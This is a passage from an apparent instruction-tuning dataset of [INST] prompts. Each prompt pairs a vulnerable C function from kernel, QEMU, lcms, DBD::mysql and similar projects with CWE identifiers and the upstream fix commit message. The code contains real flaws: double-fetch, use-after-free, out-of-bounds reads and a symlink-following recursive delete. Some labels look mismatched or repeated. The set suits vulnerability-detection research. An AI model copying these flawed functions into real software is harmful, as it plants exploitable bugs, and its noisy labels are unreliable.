cleanup;\n\tea_idebug(inode, \"reading block %d\", EXT2_I(inode)->i_file_acl);\n\tbh = sb_bread(inode->i_sb, EXT2_I(inode)->i_file_acl);\n\terror = -EIO;\n\tif (!bh)\n\t\tgoto cleanup;\n\tea_bdebug(bh, \"b_count=%d, refcount=%d\",\n\t\tatomic_read(&(bh->b_count)), le32_to_cpu(HDR(bh)->h_refcount));\n\tend = bh->b_data + bh->b_size;\n\tif (HDR(bh)->h_magic != cpu_to_le32(EXT2_XATTR_MAGIC) ||\n\t HDR(bh)->h_blocks != cpu_to_le32(1)) {\nbad_block:\text2_error(inode->i_sb, \"ext2_xattr_get\",\n\t\t\t\"inode %ld: bad block %d\", inode->i_ino,\n\t\t\tEXT2_I(inode)->i_file_acl);\n\t\terror = -EIO;\n\t\tgoto cleanup;\n\t}\n\n\t/* find named attribute */\n\tentry = FIRST_ENTRY(bh);\n\twhile (!IS_LAST_ENTRY(entry)) {\n\t\tstruct ext2_xattr_entry *next =\n\t\t\tEXT2_XATTR_NEXT(entry);\n\t\tif ((char *)next >= end)\n\t\t\tgoto bad_block;\n\t\tif (name_index == entry->e_name_index &&\n\t\t name_len == entry->e_name_len &&\n\t\t memcmp(name, entry->e_name, name_len) == 0)\n\t\t\tgoto found;\n\t\tentry = next;\n\t}\n\tif (ext2_xattr_cache_insert(bh))\n\t\tea_idebug(inode, \"cache insert failed\");\n\terror = -ENODATA;\n\tgoto cleanup;\nfound:\n\t/* check the buffer size */\n\tif (entry->e_value_block != 0)\n\t\tgoto bad_block;\n\tsize = le32_to_cpu(entry->e_value_size);\n\tif (size > inode->i_sb->s_blocksize ||\n\t le16_to_cpu(entry->e_value_offs) + size > inode->i_sb->s_blocksize)\n\t\tgoto bad_block;\n\n\tif (ext2_xattr_cache_insert(bh))\n\t\tea_idebug(inode, \"cache insert failed\");\n\tif (buffer) {\n\t\terror = -ERANGE;\n\t\tif (size > buffer_size)\n\t\t\tgoto cleanup;\n\t\t/* return value of attribute */\n\t\tmemcpy(buffer, bh->b_data + le16_to_cpu(entry->e_value_offs),\n\t\t\tsize);\n\t}\n\terror = size;\n\ncleanup:\n\tbrelse(bh);\n\tup_read(&EXT2_I(inode)->xattr_sem);\n\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-241', 'CWE-19'], 'message': 'ext2: convert to mbcache2\n\nThe conversion is generally straightforward. We convert filesystem from\na global cache to per-fs one. Similarly to ext4 the tricky part is that\nxattr block corresponding to found mbcache entry can get freed before we\nget buffer lock for that block. So we have to check whether the entry is\nstill valid after getting the buffer lock.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int my_login(pTHX_ SV* dbh, imp_dbh_t *imp_dbh)\n{\n SV* sv;\n HV* hv;\n char* dbname;\n char* host;\n char* port;\n char* user;\n char* password;\n char* mysql_socket;\n int result;\n D_imp_xxh(dbh);\n\n /* TODO- resolve this so that it is set only if DBI is 1.607 */\n#define TAKE_IMP_DATA_VERSION 1\n#if TAKE_IMP_DATA_VERSION\n if (DBIc_has(imp_dbh, DBIcf_IMPSET))\n { /* eg from take_imp_data() */\n if (DBIc_has(imp_dbh, DBIcf_ACTIVE))\n {\n if (DBIc_TRACE_LEVEL(imp_xxh) >= 2)\n PerlIO_printf(DBIc_LOGPIO(imp_xxh), \"my_login skip connect\\n\");\n /* tell our parent we've adopted an active child */\n ++DBIc_ACTIVE_KIDS(DBIc_PARENT_COM(imp_dbh));\n return TRUE;\n }\n if (DBIc_TRACE_LEVEL(imp_xxh) >= 2)\n PerlIO_printf(DBIc_LOGPIO(imp_xxh),\n \"my_login IMPSET but not ACTIVE so connect not skipped\\n\");\n }\n#endif\n\n sv = DBIc_IMP_DATA(imp_dbh);\n\n if (!sv || !SvROK(sv))\n return FALSE;\n\n hv = (HV*) SvRV(sv);\n if (SvTYPE(hv) != SVt_PVHV)\n return FALSE;\n\n host=\t\tsafe_hv_fetch(aTHX_ hv, \"host\", 4);\n port=\t\tsafe_hv_fetch(aTHX_ hv, \"port\", 4);\n user=\t\tsafe_hv_fetch(aTHX_ hv, \"user\", 4);\n password=\tsafe_hv_fetch(aTHX_ hv, \"password\", 8);\n dbname=\tsafe_hv_fetch(aTHX_ hv, \"database\", 8);\n mysql_socket=\tsafe_hv_fetch(aTHX_ hv, \"mysql_socket\", 12);\n\n if (DBIc_TRACE_LEVEL(imp_xxh) >= 2)\n PerlIO_printf(DBIc_LOGPIO(imp_xxh),\n\t\t \"imp_dbh->my_login : dbname = %s, uid = %s, pwd = %s,\" \\\n\t\t \"host = %s, port = %s\\n\",\n\t\t dbname ? dbname : \"NULL\",\n\t\t user ? user : \"NULL\",\n\t\t password ? password : \"NULL\",\n\t\t host ? host : \"NULL\",\n\t\t port ? port : \"NULL\");\n\n if (!imp_dbh->pmysql) {\n Newz(908, imp_dbh->pmysql, 1, MYSQL);\n }\n result = mysql_dr_connect(dbh, imp_dbh->pmysql, mysql_socket, host, port, user,\n\t\t\t password, dbname, imp_dbh) ? TRUE : FALSE;\n if (!result)\n Safefree(imp_dbh->pmysql);\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'fix use-after-free crash in RT #97625'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ioctl_send_fib(struct aac_dev * dev, void __user *arg)\n{\n\tstruct hw_fib * kfib;\n\tstruct fib *fibptr;\n\tstruct hw_fib * hw_fib = (struct hw_fib *)0;\n\tdma_addr_t hw_fib_pa = (dma_addr_t)0LL;\n\tunsigned size;\n\tint retval;\n\n\tif (dev->in_reset) {\n\t\treturn -EBUSY;\n\t}\n\tfibptr = aac_fib_alloc(dev);\n\tif(fibptr == NULL) {\n\t\treturn -ENOMEM;\n\t}\n\n\tkfib = fibptr->hw_fib_va;\n\t/*\n\t *\tFirst copy in the header so that we can check the size field.\n\t */\n\tif (copy_from_user((void *)kfib, arg, sizeof(struct aac_fibhdr))) {\n\t\taac_fib_free(fibptr);\n\t\treturn -EFAULT;\n\t}\n\t/*\n\t *\tSince we copy based on the fib header size, make sure that we\n\t *\twill not overrun the buffer when we copy the memory. Return\n\t *\tan error if we would.\n\t */\n\tsize = le16_to_cpu(kfib->header.Size) + sizeof(struct aac_fibhdr);\n\tif (size < le16_to_cpu(kfib->header.SenderSize))\n\t\tsize = le16_to_cpu(kfib->header.SenderSize);\n\tif (size > dev->max_fib_size) {\n\t\tdma_addr_t daddr;\n\n\t\tif (size > 2048) {\n\t\t\tretval = -EINVAL;\n\t\t\tgoto cleanup;\n\t\t}\n\n\t\tkfib = pci_alloc_consistent(dev->pdev, size, &daddr);\n\t\tif (!kfib) {\n\t\t\tretval = -ENOMEM;\n\t\t\tgoto cleanup;\n\t\t}\n\n\t\t/* Highjack the hw_fib */\n\t\thw_fib = fibptr->hw_fib_va;\n\t\thw_fib_pa = fibptr->hw_fib_pa;\n\t\tfibptr->hw_fib_va = kfib;\n\t\tfibptr->hw_fib_pa = daddr;\n\t\tmemset(((char *)kfib) + dev->max_fib_size, 0, size - dev->max_fib_size);\n\t\tmemcpy(kfib, hw_fib, dev->max_fib_size);\n\t}\n\n\tif (copy_from_user(kfib, arg, size)) {\n\t\tretval = -EFAULT;\n\t\tgoto cleanup;\n\t}\n\n\tif (kfib->header.Command == cpu_to_le16(TakeABreakPt)) {\n\t\taac_adapter_interrupt(dev);\n\t\t/*\n\t\t * Since we didn't really send a fib, zero out the state to allow\n\t\t * cleanup code not to assert.\n\t\t */\n\t\tkfib->header.XferState = 0;\n\t} else {\n\t\tretval = aac_fib_send(le16_to_cpu(kfib->header.Command), fibptr,\n\t\t\t\tle16_to_cpu(kfib->header.Size) , FsaNormal,\n\t\t\t\t1, 1, NULL, NULL);\n\t\tif (retval) {\n\t\t\tgoto cleanup;\n\t\t}\n\t\tif (aac_fib_complete(fibptr) != 0) {\n\t\t\tretval = -EINVAL;\n\t\t\tgoto cleanup;\n\t\t}\n\t}\n\t/*\n\t *\tMake sure that the size returned by the adapter (which includes\n\t *\tthe header) is less than or equal to the size of a fib, so we\n\t *\tdon't corrupt application data. Then copy that size to the user\n\t *\tbuffer. (Don't try to add the header information again, since it\n\t *\twas already included by the adapter.)\n\t */\n\n\tretval = 0;\n\tif (copy_to_user(arg, (void *)kfib, size))\n\t\tretval = -EFAULT;\ncleanup:\n\tif (hw_fib) {\n\t\tpci_free_consistent(dev->pdev, size, kfib, fibptr->hw_fib_pa);\n\t\tfibptr->hw_fib_pa = hw_fib_pa;\n\t\tfibptr->hw_fib_va = hw_fib;\n\t}\n\tif (retval != -ERESTARTSYS)\n\t\taac_fib_free(fibptr);\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'aacraid: Check size values after double-fetch from user\n\nIn aacraid's ioctl_send_fib() we do two fetches from userspace, one the\nget the fib header's size and one for the fib itself. Later we use the\nsize field from the second fetch to further process the fib. If for some\nreason the size from the second fetch is different than from the first\nfix, we may encounter an out-of- bounds access in aac_fib_send(). We\nalso check the sender size to insure it is not out of bounds. This was\nreported in https://bugzilla.kernel.org/show_bug.cgi?id=116751 and was\nassigned CVE-2016-6480.\n\nReported-by: Pengfei Wang \nFixes: 7c00ffa31 '[SCSI] 2.6 aacraid: Variable FIB size (updated patch)'\nCc: stable@vger.kernel.org\nSigned-off-by: Dave Carroll \nReviewed-by: Johannes Thumshirn \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int rawv6_sendmsg(struct sock *sk, struct msghdr *msg, size_t len)\n{\n\tstruct ipv6_txoptions opt_space;\n\tDECLARE_SOCKADDR(struct sockaddr_in6 *, sin6, msg->msg_name);\n\tstruct in6_addr *daddr, *final_p, final;\n\tstruct inet_sock *inet = inet_sk(sk);\n\tstruct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct raw6_sock *rp = raw6_sk(sk);\n\tstruct ipv6_txoptions *opt = NULL;\n\tstruct ip6_flowlabel *flowlabel = NULL;\n\tstruct dst_entry *dst = NULL;\n\tstruct raw6_frag_vec rfv;\n\tstruct flowi6 fl6;\n\tint addr_len = msg->msg_namelen;\n\tint hlimit = -1;\n\tint tclass = -1;\n\tint dontfrag = -1;\n\tu16 proto;\n\tint err;\n\n\t/* Rough check on arithmetic overflow,\n\t better check is made in ip6_append_data().\n\t */\n\tif (len > INT_MAX)\n\t\treturn -EMSGSIZE;\n\n\t/* Mirror BSD error message compatibility */\n\tif (msg->msg_flags & MSG_OOB)\n\t\treturn -EOPNOTSUPP;\n\n\t/*\n\t *\tGet and verify the address.\n\t */\n\tmemset(&fl6, 0, sizeof(fl6));\n\n\tfl6.flowi6_mark = sk->sk_mark;\n\n\tif (sin6) {\n\t\tif (addr_len < SIN6_LEN_RFC2133)\n\t\t\treturn -EINVAL;\n\n\t\tif (sin6->sin6_family && sin6->sin6_family != AF_INET6)\n\t\t\treturn -EAFNOSUPPORT;\n\n\t\t/* port is the proto value [0..255] carried in nexthdr */\n\t\tproto = ntohs(sin6->sin6_port);\n\n\t\tif (!proto)\n\t\t\tproto = inet->inet_num;\n\t\telse if (proto != inet->inet_num)\n\t\t\treturn -EINVAL;\n\n\t\tif (proto > 255)\n\t\t\treturn -EINVAL;\n\n\t\tdaddr = &sin6->sin6_addr;\n\t\tif (np->sndflow) {\n\t\t\tfl6.flowlabel = sin6->sin6_flowinfo&IPV6_FLOWINFO_MASK;\n\t\t\tif (fl6.flowlabel&IPV6_FLOWLABEL_MASK) {\n\t\t\t\tflowlabel = fl6_sock_lookup(sk, fl6.flowlabel);\n\t\t\t\tif (!flowlabel)\n\t\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\n\t\t/*\n\t\t * Otherwise it will be difficult to maintain\n\t\t * sk->sk_dst_cache.\n\t\t */\n\t\tif (sk->sk_state == TCP_ESTABLISHED &&\n\t\t ipv6_addr_equal(daddr, &sk->sk_v6_daddr))\n\t\t\tdaddr = &sk->sk_v6_daddr;\n\n\t\tif (addr_len >= sizeof(struct sockaddr_in6) &&\n\t\t sin6->sin6_scope_id &&\n\t\t __ipv6_addr_needs_scope_id(__ipv6_addr_type(daddr)))\n\t\t\tfl6.flowi6_oif = sin6->sin6_scope_id;\n\t} else {\n\t\tif (sk->sk_state != TCP_ESTABLISHED)\n\t\t\treturn -EDESTADDRREQ;\n\n\t\tproto = inet->inet_num;\n\t\tdaddr = &sk->sk_v6_daddr;\n\t\tfl6.flowlabel = np->flow_label;\n\t}\n\n\tif (fl6.flowi6_oif == 0)\n\t\tfl6.flowi6_oif = sk->sk_bound_dev_if;\n\n\tif (msg->msg_controllen) {\n\t\topt = &opt_space;\n\t\tmemset(opt, 0, sizeof(struct ipv6_txoptions));\n\t\topt->tot_len = sizeof(struct ipv6_txoptions);\n\n\t\terr = ip6_datagram_send_ctl(sock_net(sk), sk, msg, &fl6, opt,\n\t\t\t\t\t &hlimit, &tclass, &dontfrag);\n\t\tif (err < 0) {\n\t\t\tfl6_sock_release(flowlabel);\n\t\t\treturn err;\n\t\t}\n\t\tif ((fl6.flowlabel&IPV6_FLOWLABEL_MASK) && !flowlabel) {\n\t\t\tflowlabel = fl6_sock_lookup(sk, fl6.flowlabel);\n\t\t\tif (!flowlabel)\n\t\t\t\treturn -EINVAL;\n\t\t}\n\t\tif (!(opt->opt_nflen|opt->opt_flen))\n\t\t\topt = NULL;\n\t}\n\tif (!opt)\n\t\topt = np->opt;\n\tif (flowlabel)\n\t\topt = fl6_merge_options(&opt_space, flowlabel, opt);\n\topt = ipv6_fixup_options(&opt_space, opt);\n\n\tfl6.flowi6_proto = proto;\n\trfv.msg = msg;\n\trfv.hlen = 0;\n\terr = rawv6_probe_proto_opt(&rfv, &fl6);\n\tif (err)\n\t\tgoto out;\n\n\tif (!ipv6_addr_any(daddr))\n\t\tfl6.daddr = *daddr;\n\telse\n\t\tfl6.daddr.s6_addr[15] = 0x1; /* :: means loopback (BSD'ism) */\n\tif (ipv6_addr_any(&fl6.saddr) && !ipv6_addr_any(&np->saddr))\n\t\tfl6.saddr = np->saddr;\n\n\tfinal_p = fl6_update_dst(&fl6, opt, &final);\n\n\tif (!fl6.flowi6_oif && ipv6_addr_is_multicast(&fl6.daddr))\n\t\tfl6.flowi6_oif = np->mcast_oif;\n\telse if (!fl6.flowi6_oif)\n\t\tfl6.flowi6_oif = np->ucast_oif;\n\tsecurity_sk_classify_flow(sk, flowi6_to_flowi(&fl6));\n\n\tif (inet->hdrincl)\n\t\tfl6.flowi6_flags |= FLOWI_FLAG_KNOWN_NH;\n\n\tdst = ip6_dst_lookup_flow(sk, &fl6, final_p);\n\tif (IS_ERR(dst)) {\n\t\terr = PTR_ERR(dst);\n\t\tgoto out;\n\t}\n\tif (hlimit < 0)\n\t\thlimit = ip6_sk_dst_hoplimit(np, &fl6, dst);\n\n\tif (tclass < 0)\n\t\ttclass = np->tclass;\n\n\tif (dontfrag < 0)\n\t\tdontfrag = np->dontfrag;\n\n\tif (msg->msg_flags&MSG_CONFIRM)\n\t\tgoto do_confirm;\n\nback_from_confirm:\n\tif (inet->hdrincl)\n\t\terr = rawv6_send_hdrinc(sk, msg, len, &fl6, &dst, msg->msg_flags);\n\telse {\n\t\tlock_sock(sk);\n\t\terr = ip6_append_data(sk, raw6_getfrag, &rfv,\n\t\t\tlen, 0, hlimit, tclass, opt, &fl6, (struct rt6_info *)dst,\n\t\t\tmsg->msg_flags, dontfrag);\n\n\t\tif (err)\n\t\t\tip6_flush_pending_frames(sk);\n\t\telse if (!(msg->msg_flags & MSG_MORE))\n\t\t\terr = rawv6_push_pending_frames(sk, &fl6, rp);\n\t\trelease_sock(sk);\n\t}\ndone:\n\tdst_release(dst);\nout:\n\tfl6_sock_release(flowlabel);\n\treturn err < 0 ? err : len;\ndo_confirm:\n\tdst_confirm(dst);\n\tif (!(msg->msg_flags & MSG_PROBE) || len)\n\t\tgoto back_from_confirm;\n\terr = 0;\n\tgoto done;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-284', 'CWE-264'], 'message': 'ipv6: add complete rcu protection around np->opt\n\nThis patch addresses multiple problems :\n\nUDP/RAW sendmsg() need to get a stable struct ipv6_txoptions\nwhile socket is not locked : Other threads can change np->opt\nconcurrently. Dmitry posted a syzkaller\n(http://github.com/google/syzkaller) program desmonstrating\nuse-after-free.\n\nStarting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock()\nand dccp_v6_request_recv_sock() also need to use RCU protection\nto dereference np->opt once (before calling ipv6_dup_options())\n\nThis patch adds full RCU protection to np->opt\n\nReported-by: Dmitry Vyukov \nSigned-off-by: Eric Dumazet \nAcked-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int inet6_sk_rebuild_header(struct sock *sk)\n{\n\tstruct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct dst_entry *dst;\n\n\tdst = __sk_dst_check(sk, np->dst_cookie);\n\n\tif (!dst) {\n\t\tstruct inet_sock *inet = inet_sk(sk);\n\t\tstruct in6_addr *final_p, final;\n\t\tstruct flowi6 fl6;\n\n\t\tmemset(&fl6, 0, sizeof(fl6));\n\t\tfl6.flowi6_proto = sk->sk_protocol;\n\t\tfl6.daddr = sk->sk_v6_daddr;\n\t\tfl6.saddr = np->saddr;\n\t\tfl6.flowlabel = np->flow_label;\n\t\tfl6.flowi6_oif = sk->sk_bound_dev_if;\n\t\tfl6.flowi6_mark = sk->sk_mark;\n\t\tfl6.fl6_dport = inet->inet_dport;\n\t\tfl6.fl6_sport = inet->inet_sport;\n\t\tsecurity_sk_classify_flow(sk, flowi6_to_flowi(&fl6));\n\n\t\tfinal_p = fl6_update_dst(&fl6, np->opt, &final);\n\n\t\tdst = ip6_dst_lookup_flow(sk, &fl6, final_p);\n\t\tif (IS_ERR(dst)) {\n\t\t\tsk->sk_route_caps = 0;\n\t\t\tsk->sk_err_soft = -PTR_ERR(dst);\n\t\t\treturn PTR_ERR(dst);\n\t\t}\n\n\t\t__ip6_dst_store(sk, dst, NULL, NULL);\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-284', 'CWE-264'], 'message': 'ipv6: add complete rcu protection around np->opt\n\nThis patch addresses multiple problems :\n\nUDP/RAW sendmsg() need to get a stable struct ipv6_txoptions\nwhile socket is not locked : Other threads can change np->opt\nconcurrently. Dmitry posted a syzkaller\n(http://github.com/google/syzkaller) program desmonstrating\nuse-after-free.\n\nStarting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock()\nand dccp_v6_request_recv_sock() also need to use RCU protection\nto dereference np->opt once (before calling ipv6_dup_options())\n\nThis patch adds full RCU protection to np->opt\n\nReported-by: Dmitry Vyukov \nSigned-off-by: Eric Dumazet \nAcked-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void *Type_MLU_Read(struct _cms_typehandler_struct* self, cmsIOHANDLER* io, cmsUInt32Number* nItems, cmsUInt32Number SizeOfTag)\n{\n cmsMLU* mlu;\n cmsUInt32Number Count, RecLen, NumOfWchar;\n cmsUInt32Number SizeOfHeader;\n cmsUInt32Number Len, Offset;\n cmsUInt32Number i;\n wchar_t* Block;\n cmsUInt32Number BeginOfThisString, EndOfThisString, LargestPosition;\n\n *nItems = 0;\n if (!_cmsReadUInt32Number(io, &Count)) return NULL;\n if (!_cmsReadUInt32Number(io, &RecLen)) return NULL;\n\n if (RecLen != 12) {\n\n cmsSignalError(self->ContextID, cmsERROR_UNKNOWN_EXTENSION, \"multiLocalizedUnicodeType of len != 12 is not supported.\");\n return NULL;\n }\n\n mlu = cmsMLUalloc(self ->ContextID, Count);\n if (mlu == NULL) return NULL;\n\n mlu ->UsedEntries = Count;\n\n SizeOfHeader = 12 * Count + sizeof(_cmsTagBase);\n LargestPosition = 0;\n\n for (i=0; i < Count; i++) {\n\n if (!_cmsReadUInt16Number(io, &mlu ->Entries[i].Language)) goto Error;\n if (!_cmsReadUInt16Number(io, &mlu ->Entries[i].Country)) goto Error;\n\n // Now deal with Len and offset.\n if (!_cmsReadUInt32Number(io, &Len)) goto Error;\n if (!_cmsReadUInt32Number(io, &Offset)) goto Error;\n\n // Check for overflow\n if (Offset < (SizeOfHeader + 8)) goto Error;\n\n // True begin of the string\n BeginOfThisString = Offset - SizeOfHeader - 8;\n\n // Ajust to wchar_t elements\n mlu ->Entries[i].Len = (Len * sizeof(wchar_t)) / sizeof(cmsUInt16Number);\n mlu ->Entries[i].StrW = (BeginOfThisString * sizeof(wchar_t)) / sizeof(cmsUInt16Number);\n\n // To guess maximum size, add offset + len\n EndOfThisString = BeginOfThisString + Len;\n if (EndOfThisString > LargestPosition)\n LargestPosition = EndOfThisString;\n }\n\n // Now read the remaining of tag and fill all strings. Subtract the directory\n SizeOfTag = (LargestPosition * sizeof(wchar_t)) / sizeof(cmsUInt16Number);\n if (SizeOfTag == 0)\n {\n Block = NULL;\n NumOfWchar = 0;\n\n }\n else\n {\n Block = (wchar_t*) _cmsMalloc(self ->ContextID, SizeOfTag);\n if (Block == NULL) goto Error;\n NumOfWchar = SizeOfTag / sizeof(wchar_t);\n if (!_cmsReadWCharArray(io, NumOfWchar, Block)) goto Error;\n }\n\n mlu ->MemPool = Block;\n mlu ->PoolSize = SizeOfTag;\n mlu ->PoolUsed = SizeOfTag;\n\n *nItems = 1;\n return (void*) mlu;\n\nError:\n if (mlu) cmsMLUfree(mlu);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Added an extra check to MLU bounds\n\nThanks to Ibrahim el-sayed for spotting the bug'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n{\n\tint rc, xprefix;\n\n\tswitch (type) {\n\tcase ACL_TYPE_ACCESS:\n\t\txprefix = JFFS2_XPREFIX_ACL_ACCESS;\n\t\tif (acl) {\n\t\t\tumode_t mode = inode->i_mode;\n\t\t\trc = posix_acl_equiv_mode(acl, &mode);\n\t\t\tif (rc < 0)\n\t\t\t\treturn rc;\n\t\t\tif (inode->i_mode != mode) {\n\t\t\t\tstruct iattr attr;\n\n\t\t\t\tattr.ia_valid = ATTR_MODE | ATTR_CTIME;\n\t\t\t\tattr.ia_mode = mode;\n\t\t\t\tattr.ia_ctime = CURRENT_TIME_SEC;\n\t\t\t\trc = jffs2_do_setattr(inode, &attr);\n\t\t\t\tif (rc < 0)\n\t\t\t\t\treturn rc;\n\t\t\t}\n\t\t\tif (rc == 0)\n\t\t\t\tacl = NULL;\n\t\t}\n\t\tbreak;\n\tcase ACL_TYPE_DEFAULT:\n\t\txprefix = JFFS2_XPREFIX_ACL_DEFAULT;\n\t\tif (!S_ISDIR(inode->i_mode))\n\t\t\treturn acl ? -EACCES : 0;\n\t\tbreak;\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n\trc = __jffs2_set_acl(inode, xprefix, acl);\n\tif (!rc)\n\t\tset_cached_acl(inode, type, acl);\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862', 'CWE-285'], 'message': 'posix_acl: Clear SGID bit when setting file permissions\n\nWhen file permissions are modified via chmod(2) and the user is not in\nthe owning group or capable of CAP_FSETID, the setgid bit is cleared in\ninode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file\npermissions as well as the new ACL, but doesn't clear the setgid bit in\na similar way; this allows to bypass the check in chmod(2). Fix that.\n\nReferences: CVE-2016-7097\nReviewed-by: Christoph Hellwig \nReviewed-by: Jeff Layton \nSigned-off-by: Jan Kara \nSigned-off-by: Andreas Gruenbacher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool net_tx_pkt_do_sw_fragmentation(struct NetTxPkt *pkt,\n NetClientState *nc)\n{\n struct iovec fragment[NET_MAX_FRAG_SG_LIST];\n size_t fragment_len = 0;\n bool more_frags = false;\n\n /* some pointers for shorter code */\n void *l2_iov_base, *l3_iov_base;\n size_t l2_iov_len, l3_iov_len;\n int src_idx = NET_TX_PKT_PL_START_FRAG, dst_idx;\n size_t src_offset = 0;\n size_t fragment_offset = 0;\n\n l2_iov_base = pkt->vec[NET_TX_PKT_L2HDR_FRAG].iov_base;\n l2_iov_len = pkt->vec[NET_TX_PKT_L2HDR_FRAG].iov_len;\n l3_iov_base = pkt->vec[NET_TX_PKT_L3HDR_FRAG].iov_base;\n l3_iov_len = pkt->vec[NET_TX_PKT_L3HDR_FRAG].iov_len;\n\n /* Copy headers */\n fragment[NET_TX_PKT_FRAGMENT_L2_HDR_POS].iov_base = l2_iov_base;\n fragment[NET_TX_PKT_FRAGMENT_L2_HDR_POS].iov_len = l2_iov_len;\n fragment[NET_TX_PKT_FRAGMENT_L3_HDR_POS].iov_base = l3_iov_base;\n fragment[NET_TX_PKT_FRAGMENT_L3_HDR_POS].iov_len = l3_iov_len;\n\n\n /* Put as much data as possible and send */\n do {\n fragment_len = net_tx_pkt_fetch_fragment(pkt, &src_idx, &src_offset,\n fragment, &dst_idx);\n\n more_frags = (fragment_offset + fragment_len < pkt->payload_len);\n\n eth_setup_ip4_fragmentation(l2_iov_base, l2_iov_len, l3_iov_base,\n l3_iov_len, fragment_len, fragment_offset, more_frags);\n\n eth_fix_ip4_checksum(l3_iov_base, l3_iov_len);\n\n net_tx_pkt_sendv(pkt, nc, fragment, dst_idx);\n\n fragment_offset += fragment_len;\n\n } while (more_frags);\n\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-120'], 'message': 'net: check fragment length during fragmentation\n\nNetwork transport abstraction layer supports packet fragmentation.\nWhile fragmenting a packet, it checks for more fragments from\npacket length and current fragment length. It is susceptible\nto an infinite loop, if the current fragment length is zero.\nAdd check to avoid it.\n\nReported-by: Li Qiang \nSigned-off-by: Prasad J Pandit \nReviewed-by: Dmitry Fleytman \nCC: qemu-stable@nongnu.org\nSigned-off-by: Jason Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _g_file_remove_directory (GFile *directory,\n\t\t\t GCancellable *cancellable,\n\t\t\t GError **error)\n{\n\tGFileEnumerator *enumerator;\n\tGFileInfo *info;\n\tgboolean error_occurred = FALSE;\n\n\tif (directory == NULL)\n\t\treturn TRUE;\n\n\tenumerator = g_file_enumerate_children (directory,\n\t\t\t\t\t G_FILE_ATTRIBUTE_STANDARD_NAME \",\"\n\t\t\t\t\t G_FILE_ATTRIBUTE_STANDARD_TYPE,\n\t\t\t\t\t 0,\n\t\t\t\t\t cancellable,\n\t\t\t\t\t error);\n\n\twhile (! error_occurred && (info = g_file_enumerator_next_file (enumerator, cancellable, error)) != NULL) {\n\t\tGFile *child;\n\n\t\tchild = g_file_get_child (directory, g_file_info_get_name (info));\n\t\tswitch (g_file_info_get_file_type (info)) {\n\t\tcase G_FILE_TYPE_DIRECTORY:\n\t\t\tif (! _g_file_remove_directory (child, cancellable, error))\n\t\t\t\terror_occurred = TRUE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (! g_file_delete (child, cancellable, error))\n\t\t\t\terror_occurred = TRUE;\n\t\t\tbreak;\n\t\t}\n\n\t\tg_object_unref (child);\n\t\tg_object_unref (info);\n\t}\n\n\tif (! error_occurred && ! g_file_delete (directory, cancellable, error))\n \t\terror_occurred = TRUE;\n\n\tg_object_unref (enumerator);\n\n\treturn ! error_occurred;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'do not follow symlinks when deleting a folder recursively\n\n[bug #698554]'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \tTORRENT_EXTRA_EXPORT void inflate_gzip(\n\t\tchar const* in\n\t\t, int size\n\t\t, std::vector& buffer\n\t\t, int maximum_size\n\t\t, error_code& 